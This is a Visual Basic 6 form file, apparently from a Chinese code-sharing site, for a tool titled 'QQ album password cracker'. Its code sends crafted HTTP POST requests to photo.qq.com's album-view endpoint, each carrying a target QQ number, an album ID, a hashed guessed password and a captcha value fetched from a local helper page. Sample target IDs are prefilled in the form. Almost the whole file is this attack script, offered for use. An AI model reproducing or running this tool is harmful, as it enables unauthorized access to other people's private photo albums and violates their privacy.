📄 form1.frm
字号:
VERSION 5.00
Object = "{48E59290-9880-11CF-9754-00AA00C00908}#1.0#0"; "MSINET.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1
Caption = "QQ相册密码破解工具"
ClientHeight = 5295
ClientLeft = 60
ClientTop = 450
ClientWidth = 7215
LinkTopic = "Form1"
ScaleHeight = 5295
ScaleWidth = 7215
StartUpPosition = 2 '屏幕中心
Begin VB.Frame Frame1
Caption = "返回的数据"
Height = 2895
Left = 120
TabIndex = 7
Top = 2160
Width = 6855
Begin VB.TextBox Text6
Height = 2295
Left = 360
MultiLine = -1 'True
TabIndex = 8
Top = 360
Width = 6255
End
End
Begin InetCtlsObjects.Inet Inet1
Left = 6240
Top = 1440
_ExtentX = 1005
_ExtentY = 1005
_Version = 393216
End
Begin VB.CommandButton Command3
Caption = "提交"
Height = 495
Left = 4200
TabIndex = 5
Top = 1200
Width = 1455
End
Begin MSWinsockLib.Winsock Winsock1
Left = 6240
Top = 240
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.TextBox Text5
Height = 495
Left = 1800
TabIndex = 4
Top = 1320
Width = 1335
End
Begin VB.TextBox Text2
Height = 375
Left = 1680
TabIndex = 2
Text = "118370506"
Top = 720
Width = 2295
End
Begin VB.TextBox Text1
Height = 375
Left = 1680
TabIndex = 1
Text = "215927967"
Top = 120
Width = 2295
End
Begin VB.Label Label5
Caption = "密码:"
Height = 375
Left = 720
TabIndex = 6
Top = 1440
Width = 495
End
Begin VB.Label Label2
Caption = "相册ID:"
Height = 495
Left = 480
TabIndex = 3
Top = 840
Width = 1095
End
Begin VB.Label Label1
Caption = "QQ号码:"
Height = 255
Left = 360
TabIndex = 0
Top = 240
Width = 975
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command3_Click()
Text6.Text = ""
With Winsock1
.RemoteHost = "photo.qq.com"
.RemotePort = 80
End With
If Winsock1.State = 0 Then Winsock1.Connect
Do While Winsock1.State <> 7
DoEvents
Loop
Call Winsock1_Connect
End Sub
Private Sub Winsock1_Connect()
Dim strCommand As String
html = Inet1.OpenURL("http://127.0.0.1/3.asp") '获取自己远程数据库验证码和值
n = InStr(html, "#")
If n <> 0 Then
code = Left(html, n - 1) '分离出验证码
zhi = Right(html, Len(html) - n) '分离出验证码的值
End If
postdata = "uin=" & Trim(Text1.Text) & "&refer=qzone&albumid=" & Trim(Text2.Text) & "&password=" & LCase(DigestStrToHexStr(Trim(Text5.Text))) & "&verifycode=" & code
lendata = Len(postdata)
strCommand = "POST /cgi-bin/common/cgi_view_album HTTP/1.1" + vbCrLf
strCommand = strCommand + "Host:photo.qq.com" & vbCrLf
strCommand = strCommand + "Content-Type: application/x-www-form-urlencoded" + vbCrLf
strCommand = strCommand + "Content-Length:" & lendata & vbCrLf
strCommand = strCommand + "Cookie:verifysession=" & zhi & vbCrLf & vbCrLf
strCommand = strCommand + postdata
Winsock1.SendData strCommand
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strdata As String
Winsock1.GetData strdata
Text6.Text = Text6.Text + strdata
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -